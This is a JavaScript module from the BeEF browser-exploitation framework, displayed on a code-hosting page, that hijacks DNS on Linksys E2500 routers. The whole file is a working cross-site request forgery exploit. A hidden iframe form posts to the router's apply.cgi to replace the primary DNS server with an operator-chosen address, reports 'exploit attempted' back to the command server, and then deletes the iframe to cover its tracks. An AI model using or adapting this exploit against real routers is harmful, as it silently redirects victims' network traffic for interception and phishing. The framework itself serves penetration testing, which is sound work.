Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
beefproject
GitHub Repository: beefproject/beef
Path: blob/master/modules/exploits/router/linksys_e2500_dns_hijack/command.js
1154 views
1
//
2
// Copyright (c) 2006-2025Wade Alcorn - [email protected]
3
// Browser Exploitation Framework (BeEF) - https://beefproject.com
4
// See the file 'doc/COPYING' for copying permission
5
//
6
7
beef.execute(function() {
8
9
// config
10
var target = 'http://<%= @rhost %>/apply.cgi';
11
var dns1 = '<%= @dns1 %>';
12
var timeout = 15;
13
14
// validate primary DNS server IP address
15
if (!beef.net.is_valid_ip(dns1)) {
16
beef.debug('Invalid Primary DNS server IP address was provided');
17
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");
18
return;
19
}
20
var parts = dns1.split('.');
21
22
// change DNS
23
var linksys_e2500_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "POST", "application/x-www-form-urlencoded", [
24
{'type':'hidden', 'name':'submit_button', 'value': 'index'},
25
{'type':'hidden', 'name':'change_action', 'value': ''},
26
{'type':'hidden', 'name':'submit_type', 'value': ''},
27
{'type':'hidden', 'name':'action', 'value': 'Apply'},
28
{'type':'hidden', 'name':'wan_dns', 'value': '4'},
29
{'type':'hidden', 'name':'wan_dns0_0', 'value': parts[0]},
30
{'type':'hidden', 'name':'wan_dns0_1', 'value': parts[1]},
31
{'type':'hidden', 'name':'wan_dns0_2', 'value': parts[2]},
32
{'type':'hidden', 'name':'wan_dns0_3', 'value': parts[3]},
33
{'type':'hidden', 'name':'wan_dns1_0', 'value': '0'},
34
{'type':'hidden', 'name':'wan_dns1_1', 'value': '0'},
35
{'type':'hidden', 'name':'wan_dns1_2', 'value': '0'},
36
{'type':'hidden', 'name':'wan_dns1_3', 'value': '0'},
37
{'type':'hidden', 'name':'wan_dns2_0', 'value': '0'},
38
{'type':'hidden', 'name':'wan_dns2_1', 'value': '0'},
39
{'type':'hidden', 'name':'wan_dns2_2', 'value': '0'},
40
{'type':'hidden', 'name':'wan_dns2_3', 'value': '0'},
41
{'type':'hidden', 'name':'wan_wins', 'value': '4'},
42
{'type':'hidden', 'name':'wan_wins_0', 'value': '0'},
43
{'type':'hidden', 'name':'wan_wins_1', 'value': '0'},
44
{'type':'hidden', 'name':'wan_wins_2', 'value': '0'},
45
{'type':'hidden', 'name':'wan_wins_3', 'value': '0'},
46
47
]);
48
49
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
50
51
// clean up
52
cleanup = function() {
53
document.body.removeChild(linksys_e2500_iframe_<%= @command_id %>);
54
}
55
setTimeout("cleanup()", timeout*1000);
56
57
});
58
59
60